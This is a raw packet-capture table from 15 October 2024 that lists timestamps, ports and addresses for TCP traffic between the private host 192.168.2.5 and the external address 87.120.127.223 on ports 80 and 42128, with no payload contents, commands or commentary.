Oct 15, 2024 19:22:22.615139961 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615204096 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615261078 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615264893 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615298033 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615333080 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615345955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615381002 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615408897 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615441084 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615479946 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615513086 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615540028 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615547895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615570068 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615581989 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615616083 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615650892 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615663052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615696907 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.653930902 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654128075 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654143095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654160023 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654175997 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654176950 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654191971 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654207945 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654211998 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654232025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654248953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654263973 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654292107 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654318094 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654331923 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654372931 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654401064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654417038 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654444933 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654503107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654519081 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654534101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654553890 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654575109 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654639006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654664040 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654680014 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654695034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654715061 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654737949 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654756069 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654795885 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654809952 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654850006 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654867887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654911041 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.654953003 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.654968977 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655005932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655013084 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655021906 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655080080 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655081987 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655108929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655214071 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655230045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655241013 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655246019 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655281067 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655319929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655381918 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655412912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655458927 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655473948 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655517101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655519009 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655570030 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655585051 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655601025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655643940 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655680895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655697107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655754089 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.655788898 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655805111 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655930996 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655946970 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655962944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.655975103 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.656027079 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.656049967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.656079054 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.656092882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.656124115 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.656152010 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.741914034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.741966963 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742000103 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742038965 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742069960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742124081 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742158890 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742193937 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742208004 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742238045 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742242098 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742290020 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742326021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742345095 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742358923 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742381096 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742408037 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742440939 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742485046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742502928 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742532969 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742536068 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742567062 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742600918 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742631912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742656946 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742666960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742700100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742702007 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.742749929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.742801905 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783514977 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783565998 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783585072 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783600092 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783632994 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783674955 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783682108 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783713102 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783737898 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783745050 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783799887 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783811092 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783843994 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783874989 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783907890 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783909082 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.783941984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783993006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.783996105 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784025908 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784043074 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784076929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784109116 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784145117 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784162045 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784179926 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784198046 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784208059 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784286976 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784463882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784516096 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784547091 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784596920 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784609079 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784630060 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784662962 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784689903 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784698963 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784740925 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784799099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784830093 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784862995 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784868956 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784894943 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784921885 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.784928083 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784961939 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.784976959 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785012960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785046101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785064936 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785079956 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785113096 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785130978 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785458088 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785491943 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785520077 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785523891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785582066 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785612106 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785690069 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785722017 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785754919 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785773993 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785789967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785811901 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785823107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785873890 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785876036 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785903931 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785934925 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.785963058 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.785969973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.786004066 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.786024094 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.786036968 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.786252022 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.789294958 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.789347887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.789381027 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.789407969 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.789413929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.789446115 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.789470911 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874414921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874481916 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874516964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874533892 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874550104 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874584913 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874584913 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874618053 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874649048 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874650955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874684095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874706984 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874737978 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874769926 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874793053 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874804020 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874835968 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874857903 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874867916 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874901056 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874922991 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.874934912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.874965906 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.875000000 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.875003099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.875036001 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.875070095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.875088930 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.875122070 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912306070 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912359953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912410021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912427902 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912460089 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912501097 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912543058 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912550926 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912600994 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912632942 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912642002 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912698030 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912702084 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912734032 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912782907 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912813902 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912839890 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912878990 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.912880898 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912930965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.912992954 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913038015 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913043976 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913079977 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913110018 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913135052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913141966 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913173914 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913175106 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913208961 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913240910 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913271904 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913290024 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913316011 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913324118 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913357973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913379908 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913391113 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913439035 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913471937 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913505077 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913521051 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913527012 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913553953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913585901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913604021 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.913619041 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913652897 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.913672924 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.921361923 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.926971912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.927189112 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.556596994 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.558743954 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559199095 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559477091 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559554100 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559608936 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559676886 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559726000 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559806108 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559854984 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559925079 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.559977055 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.560060024 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.560085058 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.563636065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.563759089 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564300060 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564364910 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564372063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564439058 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564502954 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564569950 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564606905 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564629078 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564641953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564660072 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564665079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564678907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564687014 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564692020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564707041 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564728975 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564729929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564743042 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564769983 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564776897 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564812899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564814091 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564826012 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564838886 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564858913 CEST	42128	49735	87.120.127.223	192.168.2.5
